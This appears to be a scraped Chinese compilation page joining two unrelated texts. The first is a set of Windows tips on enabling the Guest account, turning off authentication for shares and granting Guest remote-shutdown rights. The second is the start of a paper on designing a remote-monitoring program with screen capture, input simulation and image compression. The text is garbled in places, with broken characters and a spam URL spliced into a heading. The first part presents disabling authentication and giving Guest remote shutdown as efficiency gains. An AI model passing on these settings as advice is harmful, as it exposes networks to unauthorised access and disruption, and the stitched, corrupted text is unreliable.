下面為Guest賬號授權(quán)。目標共享文件夾或網(wǎng)絡(luò)打印機在默認狀態(tài)下都不允許Guest賬號進行訪問，我們只有為Guest賬號授予合適的訪問權(quán)限。才能保證共享訪問操作成功。為Guest賬號授權(quán)其實很簡單，我們可以先進入共享資源所在的文件夾窗口，從中用鼠標右鍵單擊目標共享資源圖標，從彈出的快捷菜單中點選“屬性”命令，打開目標共享資源的屬性設(shè)置對話框，單擊其中的“共享”標簽，并在對應標簽設(shè)置頁面中單擊“高級共享”按鈕，在彈出的高級共享對話框中繼續(xù)單擊“權(quán)限”按鈕，進入權(quán)限設(shè)置窗口，在該設(shè)置窗口中單擊“添加”按鈕，從彈出的賬號選擇對話框中選中Guest賬號并單擊“確定”按鈕，之后再選中Guest賬號，并為該賬號設(shè)置“讀取”或其他控制權(quán)限。這樣一來Guest賬號日后就有權(quán)利訪問目標共享資源了。

最后不要進行身份驗證。目標共享資源所在的主機系統(tǒng)往往會對任何一位共享訪問用戶進行身份驗證操作，在可信任的內(nèi)網(wǎng)工作環(huán)境中，我們可以通過設(shè)置，讓Windows系統(tǒng)不要對共享訪問用戶進行身份驗證操作，以便節(jié)約時間，提高共享訪問效率。要做到這一點，我們可以按照之前的操作步驟進入共享資源所在主機系統(tǒng)的組策略控制臺窗口，依次展開該窗口左側(cè)子窗格中的“計算機設(shè)置”、“Windows設(shè)置”、“安全設(shè)置”、“本地策略”、“安全選項”分支，從目標分支下面雙擊“網(wǎng)絡(luò)訪問：本地賬戶的共享和安全模型”選項，在其后出現(xiàn)的設(shè)置界面中選中“僅來賓一對本地用戶進行身份驗證，其身份為來賓”選項。再單擊“確定”按鈕，如此一來Windows系統(tǒng)日后就不會對共享訪問用戶進行身份驗證操作了。

完成上面的各項設(shè)置任務后，我們?nèi)蘸笤俅瓮ㄟ^網(wǎng)絡(luò)訪問內(nèi)網(wǎng)中的共享文件夾或網(wǎng)絡(luò)打印機時，就像訪問本地文件夾或打印機那樣方便了，而不需要每次輸入訪問賬號和密碼了，很顯然這樣可以大大提高共享訪問效率。

2　提高遠程關(guān)機效率 　在內(nèi)網(wǎng)環(huán)境中，有的人可能同時要管理或操作幾臺工作站，不用談其他的管理操作，就連簡單的關(guān)機操作，如果每次都是一臺一臺地進行的話，那工作量也是不小的。為了提高遠程關(guān)機效率，我們可以賦予Guest賬號遠程關(guān)機權(quán)限，讓網(wǎng)絡(luò)管理員可以直接在本地快速執(zhí)行遠程關(guān)機操作，那效果幾乎與在本地關(guān)機一樣，下面就是快速遠程關(guān)機的具體設(shè)置操作：

首先在待控制的計算機系統(tǒng)中啟用運行好Guest賬號，同時為該賬號設(shè)置好允許通過網(wǎng)絡(luò)訪問目標計算機的權(quán)限，具體的設(shè)置過程，本文在這里就不重復敘述了。

其次設(shè)置遠程關(guān)機權(quán)限。在默認狀態(tài)下，Windows系統(tǒng)禁止Guest賬號通過網(wǎng)絡(luò)來遠程關(guān)閉自己，為此我們需要開通這個權(quán)限，才能保證日后網(wǎng)絡(luò)管理員可以直接以Guest賬號完成遠程關(guān)機操作。在設(shè)置遠程關(guān)機權(quán)限時，先打開待控制計算機系統(tǒng)的組策略控制臺窗口，在該窗口的左側(cè)顯示區(qū)域中，依次點選“計算機設(shè)置”、“Windows設(shè)置”、“安全設(shè)置”、“本地策略”、“用戶權(quán)限分配”分支選項，在目標分支選項下面找到“從遠程系統(tǒng)強制關(guān)機”組策略項目，并用鼠標雙擊該項目，打開設(shè)置對話框。

單擊該對話框中的“添加用戶或組”按鈕，打開用戶選擇對話框，從中選中Guest賬號并單擊“確定”按鈕，這樣一來Guest賬號就有遠程關(guān)閉系統(tǒng)的權(quán)限了。

最后進行遠程關(guān)機操作。倘若我們現(xiàn)在要對內(nèi)網(wǎng)中的其他待控制的計算機系統(tǒng)執(zhí)行關(guān)機操作時，可以先打開自己的計算機系統(tǒng)，依次單擊“開始”、“運行”命令，在彈出的系統(tǒng)運行對話框中輸入“cmd”字符串命令，單擊回車鍵后，將系統(tǒng)切換到MS-DOS命令行窗口，在該 窗口的命令行提示符下執(zhí)行字符串命令“shutdown／i”，打開遠程關(guān)機對話框。

單擊該對話框中的“添加”按鈕，從其后出現(xiàn)的遠程計算機選擇對話框中，將待控制的目標計算機名稱選中并添加進來，同時選中“關(guān)機”選項，再設(shè)置好警告顯示時間以及警告內(nèi)容，例如將警告時間設(shè)置為“5”，將警告內(nèi)容設(shè)置為“馬上要關(guān)機了”，最后單擊“確定”按鈕，此時待控制的目標計算機系統(tǒng)屏幕上立即會出現(xiàn)“馬上要關(guān)機了”的警告提示了，5秒鐘后該計算機就會被強行關(guān)閉了。整個關(guān)機過程不需要進行任何身份驗證操作，顯然這樣的遠程關(guān)機效率是非常高的。 　3　提高遠程連接效率 　有的時候，為了加快遠程桌面連接效率，我們希望本地系統(tǒng)直接以Guest賬號快速與遠程計算機建立連接，要做到這一點，我們只要按照如下步驟進行設(shè)置就可以了：

首先在遠程計算機系統(tǒng)中啟用運行好Guest賬號，同時為該賬號設(shè)置好允許通過網(wǎng)絡(luò)訪問目標計算機的權(quán)限，具體的設(shè)置過程，本文在這里就不重復敘述了。

遠程桌面連接命令范文第5篇

引言

由于計算機網(wǎng)絡(luò)技術(shù)的迅猛發(fā)展，計算機遠程監(jiān)控被廣泛應用在各個領(lǐng)域中，但在其運用過程中都需要通過鼠標操作與鍵盤操作來截取實時遠程監(jiān)控畫面，在這一過程中產(chǎn)生了幾個關(guān)鍵問題需要解決。例如：如何實現(xiàn)遠端計算機數(shù)據(jù)與網(wǎng)絡(luò)的交換，如何使遠端屏幕桌面的傳輸及壓縮更有效？以上等等都是計算機遠程監(jiān)控系統(tǒng)技術(shù)研究所面臨的主要問題。

1 遠程監(jiān)控系統(tǒng)的設(shè)計流程

這一遠程監(jiān)控系統(tǒng)主要由服務器端與客戶端程序所組成，使用之前應先把客戶端程序安裝至主控制計算機上，服務器端則安裝于被控計算機上。接著在主控制端計算機上運行客戶端應用程序，用于建立與服務端之間的遠程控制，運用該遠程監(jiān)控系統(tǒng)中的控制功能來傳送口令，且通過服務器端中的控制軟件來執(zhí)行各項遠程操作，例如：截獲目標計算機桌面的屏幕圖形，提取且記錄遠程客戶端的鼠標及鍵盤事件等方面的內(nèi)容。[1]被控制計算機的屏幕圖像其截獲過程實質(zhì)上就是客戶端接收服務端屏幕圖像數(shù)據(jù)傳輸?shù)倪^程，而傳輸?shù)年P(guān)鍵則在于怎樣進行屏幕圖像的無損壓縮和有損壓縮，除此之外屏幕圖像的傳送還應注意屏幕圖像的相關(guān)數(shù)據(jù)的傳輸時間，是否每一次傳輸都需要全部的數(shù)據(jù)等問題。

本文通過運用應用程序中的偽消息機制以及套接字技術(shù)，來實現(xiàn)服務器及客戶端的數(shù)據(jù)交換，以此滿足遠程監(jiān)控和被監(jiān)控。

2 遠程監(jiān)控程序服務器端和客戶端中的模塊

2.1遠程監(jiān)控程序服務器端的本文由http://收集整理模塊

該遠程監(jiān)控系統(tǒng)中服務器端的模塊主要有：1）網(wǎng)絡(luò)模塊，其主要職責在于監(jiān)聽客戶端的聯(lián)接，在接收到命令后做出相應的處理；2）編碼模塊，主要進行屏幕圖片的壓縮編碼，常用的方法有：行程-霍夫曼編碼、行程編碼等[2]；3）主框架�？�，負責服務器端映射及息的處理信。WWW.133229.CoM

2.2遠程監(jiān)控程序客戶端的模塊

該遠程監(jiān)控系統(tǒng)中客戶端的模塊主要有：1）網(wǎng)絡(luò)模塊，其主要職責在于發(fā)送操作命令、連接監(jiān)聽端口、接收數(shù)據(jù)以及處理數(shù)據(jù)，并將接受到得圖片數(shù)據(jù)反饋于本機中；2）解碼模塊，具有數(shù)據(jù)解碼壓縮的作用，該模塊由用戶在壓縮對話框中進行選擇；3）主框架模塊，負責客戶端映射及信息處理的；4）對話框模塊，主要有網(wǎng)格數(shù)目以及解碼、編碼選擇對話框（見圖2）。

3 遠程監(jiān)控程序具體關(guān)鍵技術(shù)的實現(xiàn)

3.1消息模擬技術(shù)

一般情況下，用戶在運行應用程序時的鼠標操作及鍵盤操作都會被驅(qū)動程序截獲，并把這一系列的操作信息列入系統(tǒng)信息的隊列，以便應用程序獲取消息以及處理信息。但有部分應用程序，不具備外設(shè)驅(qū)動程序的輸入功能，因此必須自行模擬外設(shè)信息且發(fā)送至系統(tǒng)信息的隊列中，即消息模擬技術(shù)。[3]針對遠程監(jiān)控系統(tǒng)而言，客戶端應用程序能夠?qū)Ψ�務器端進行自由操作，換而言之服務器端的應用程序應對客戶端的鍵盤、鼠標操作消息進行模擬。

3.2屏幕網(wǎng)格化傳輸在屏幕圖像數(shù)據(jù)中的應用

若每一次的數(shù)據(jù)傳輸都包括整個圖像的數(shù)據(jù)，會對服務器的日常工作帶來嚴重的影響。比如：顏色數(shù)是24真彩色，顯示配置是1024×768的典型windows，其整個桌面屏幕圖像的數(shù)據(jù)18.9mbit，不僅使得網(wǎng)絡(luò)寬帶被大量占用，還嚴重影響了windows系統(tǒng)其他程序的正常響應與處理，因此可采用網(wǎng)格化模式減少屏幕數(shù)據(jù)的傳輸量，即將屏幕桌面分割成數(shù)個大小一致的網(wǎng)格，以網(wǎng)格為單位向客戶端傳送屏幕圖像數(shù)據(jù)，當接收到refresh命令后，服務器端則只傳輸本機屏幕出現(xiàn)變化的網(wǎng)格數(shù)據(jù)。[4]由于桌面圖像的截取與傳輸過程緊密連接，通常屏幕在較短時間內(nèi)只發(fā)生局部變化或不變化。

3.3針對屏幕圖像壓縮編碼算法的優(yōu)化

桌面屏幕中全部的網(wǎng)格幀可稱為i幀，而出現(xiàn)變化的網(wǎng)格幀則為p幀，由此可見，一旦客戶端做出refresh時，服務器端應用程序都會只傳送p幀至客戶端，但是服務器端的第一次refresh任務，實際上是傳送的書完整的i幀。在實際操作中，針對i幀的圖形數(shù)據(jù)可直接截取且傳送；p幀的網(wǎng)格圖像數(shù)據(jù)而是相應的新屏幕圖像數(shù)據(jù)減去原本圖像數(shù)據(jù)的差值，也就是p幀所包括的網(wǎng)格數(shù)據(jù)其實是舊網(wǎng)格的差圖。采取huffman算法來對i幀進行壓縮，運用run length encoding算法來在電腦屏幕上對p幀進行壓縮。